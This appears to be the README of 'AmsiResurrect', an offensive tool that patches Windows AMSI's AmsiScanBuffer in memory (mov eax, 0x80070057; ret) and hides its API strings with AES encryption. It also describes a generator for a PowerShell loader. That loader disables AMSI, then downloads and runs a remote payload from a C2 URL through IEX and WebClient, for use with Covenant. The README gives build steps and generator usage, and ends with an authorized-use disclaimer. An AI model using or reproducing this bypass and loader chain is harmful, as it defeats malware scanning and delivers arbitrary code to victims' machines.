AmsiResurrect patches the Windows Antimalware Scan Interface (AMSI) in-memory by modifying AmsiScanBuffer to return E_INVALIDARG (0x80070057). This neutralizes AMSI scanning for the current process, allowing subsequent PowerShell payloads to execute unscanned.

The project includes a loader generator script that creates a self-contained PowerShell payload for use with C2 frameworks like Covenant.

1. Assembly loaded via reflection  →  [Assembly]::Load(bytes)
2. Resurrect.Patch() called        →  Resolves amsi.dll + AmsiScanBuffer (AES-encrypted strings)
3. AmsiScanBuffer patched           →  mov eax, 0x80070057; ret
4. Remote payload downloaded        →  IEX via WebClient

AmsiResurrect/
├── AM/
│   ├── Program.cs          — Core AMSI patch logic with AES-encrypted API resolution
│   ├── Apis.cs             — P/Invoke declarations (NativeMethods)
│   └── AM.csproj           — .NET Framework 4.7.2 project
├── ConvertBytes2.ps1       — Loader generator script
└── README.md

• Patch: mov eax, 0x80070057; ret — forces AmsiScanBuffer to return E_INVALIDARG
• Encryption: API strings (amsi.dll, AmsiScanBuffer) encrypted with AES-256-CBC
• Key Derivation: PBKDF2 (Rfc2898DeriveBytes) with 1000 iterations
• Target: .NET Framework 4.7.2, AnyCPU

# Visual Studio
Open AM.sln → Build → Release

# Command line (requires MSBuild)
msbuild AM.sln /p:Configuration=Release

msbuild AM.sln /p:Configuration=Release

.\ConvertBytes2.ps1
# [***PATH FILE***]: .\AM\bin\Release\AM.dll
# [Payload URL]: https://your-c2/payload.ps1
# [+] Loader generated: C:\Users\<user>\loader.ps1

The generated loader.ps1 will:

1. Load the assembly via reflection
2. Call [AmsiResurrect.Resurrect]::Patch() to disable AMSI
3. Download and execute the remote payload

AMSI Detection (Before Bypass):

Successful Bypass & Execution:

Launcher/Loader Integration:

Covenant C2 Panel:

This tool is intended for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author assumes no liability for misuse of this software.

@3xploit666